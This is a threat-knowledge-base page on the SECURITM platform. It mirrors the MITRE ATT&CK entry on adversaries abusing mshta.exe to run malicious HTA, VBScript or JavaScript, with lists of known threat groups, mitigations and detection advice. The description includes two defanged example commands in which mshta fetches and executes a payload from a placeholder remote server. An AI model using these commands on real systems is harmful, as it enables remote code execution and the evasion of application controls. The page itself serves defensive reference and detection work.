Куда я попал?

SECURITM это SGRC система, автоматизирующая процессы в службах информационной безопасности. SECURITM помогает построить и управлять ИСПДн, КИИ, ГИС, СМИБ/СУИБ, банковскими системами защиты.
А еще SECURITM это место для обмена опытом и наработками для служб безопасности.

Подробнее

System Binary Proxy Execution: Утилита mshta

Other sub-techniques of System Binary Proxy Execution (13)

ID	Название
.001	CHM-файл
.002	Панель управления
.003	Установщик профилей диспетчера подключений (CMSTP)
.004	Утилита InstallUtil
.005	Утилита mshta
.007	Утилита msiexec
.008	Утилита odbcconf
.009	Утилиты Regsvcs и Regasm
.010	Утилита Regsvr32
.011	Rundll32
.012	Verclsid
.013	Mavinject
.014	MMC

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")")) They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

ID: T1218.005

Относится к технике: T1218

Тактика(-и): Defense Evasion

Платформы: Windows

Требуемые разрешения: User

Источники данных: Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation

Версия: 2.0

Дата создания: 23 Jan 2020

Последнее изменение: 11 Mar 2022

Название	Описание
Примеры процедур
Sidewinder	Sidewinder has used `mshta.exe` to execute malicious payloads.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)
Lazarus Group	Lazarus Group has used `mshta.exe` to execute HTML pages downloaded by initial access documents.(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)
Koadic	Koadic can use mshta to serve additional payloads and to help schedule tasks for persistence.(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021)
MuddyWater	MuddyWater has used mshta.exe to execute its POWERSTATS payload and to pass a PowerShell one-liner for execution.(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)
Xbash	Xbash can use mshta for executing scripts.(Citation: Unit42 Xbash Sept 2018)
Mustang Panda	Mustang Panda has used mshta.exe to launch collection scripts.(Citation: Secureworks BRONZE PRESIDENT December 2019)
BabyShark	BabyShark has used mshta.exe to download and execute applications from a remote server.(Citation: CISA AA20-301A Kimsuky)
LazyScripter	LazyScripter has used `mshta.exe` to execute Koadic stagers.(Citation: MalwareBytes LazyScripter Feb 2021)
POWERSTATS	POWERSTATS can use Mshta.exe to execute additional payloads on compromised hosts.(Citation: FireEye MuddyWater Mar 2018)
Lazarus Group	Lazarus Group has used mshta.exe to run malicious scripts and download programs.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)
Metamorfo	Metamorfo has used mshta.exe to execute a HTA payload.(Citation: FireEye Metamorfo Apr 2018)
Inception	Inception has used malicious HTA files to drop and execute malware.(Citation: Kaspersky Cloud Atlas August 2019)
Kimsuky	Kimsuky has used mshta.exe to run malicious scripts on the system.(Citation: EST Kimsuky April 2019)(Citation: CISA AA20-301A Kimsuky)(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: KISA Operation Muzabi)
FIN7	FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems.(Citation: FireEye FIN7 April 2017)
Revenge RAT	Revenge RAT uses mshta.exe to run malicious scripts on the system.(Citation: Cofense RevengeRAT Feb 2019)
Earth Lusca	Earth Lusca has used `mshta.exe` to load an HTA script within a malicious .LNK file.(Citation: TrendMicro EarthLusca 2022)
APT32	APT32 has used mshta.exe for code execution.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)
NanHaiShu	NanHaiShu uses mshta.exe to load its program and files.(Citation: fsecure NanHaiShu July 2016)
Sibot	Sibot has been executed via MSHTA application.(Citation: MSTIC NOBELIUM Mar 2021)
	During Operation Dust Storm, the threat actors executed JavaScript code via `mshta.exe`.(Citation: Cylance Dust Storm)
APT29	APT29 has use `mshta` to execute malicious scripts on a compromised host.(Citation: ESET T3 Threat Report 2021)
Confucius	Confucius has used mshta.exe to execute malicious VBScript.(Citation: TrendMicro Confucius APT Feb 2018)
Pteranodon	Pteranodon can use mshta.exe to execute an HTA file hosted on a remote server.(Citation: Symantec Shuckworm January 2022)
TA551	TA551 has used mshta.exe to execute malicious payloads.(Citation: Unit 42 TA551 Jan 2021)
SideCopy	SideCopy has utilized `mshta.exe` to execute a malicious hta file.(Citation: MalwareBytes SideCopy Dec 2021)
Gamaredon Group	Gamaredon Group has used `mshta.exe` to execute malicious HTA files.(Citation: Symantec Shuckworm January 2022)
	During C0015, the threat actors used `mshta` to execute DLLs.(Citation: DFIR Conti Bazar Nov 2021)

Контрмера	Описание
Контрмеры
Execution Prevention	Block execution of code on a system through application control, and/or script blocking.
Disable or Remove Feature or Program	Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.

Обнаружение

Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed. Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious

Ссылки

Связанные риски

Ничего не найдено

Каталоги

Мы используем cookie-файлы, чтобы получить статистику, которая помогает нам улучшить сервис для вас с целью персонализации сервисов и предложений. Вы может прочитать подробнее о cookie-файлах или изменить настройки браузера. Продолжая пользоваться сайтом, вы даёте согласие на использование ваших cookie-файлов и соглашаетесь с Политикой обработки персональных данных.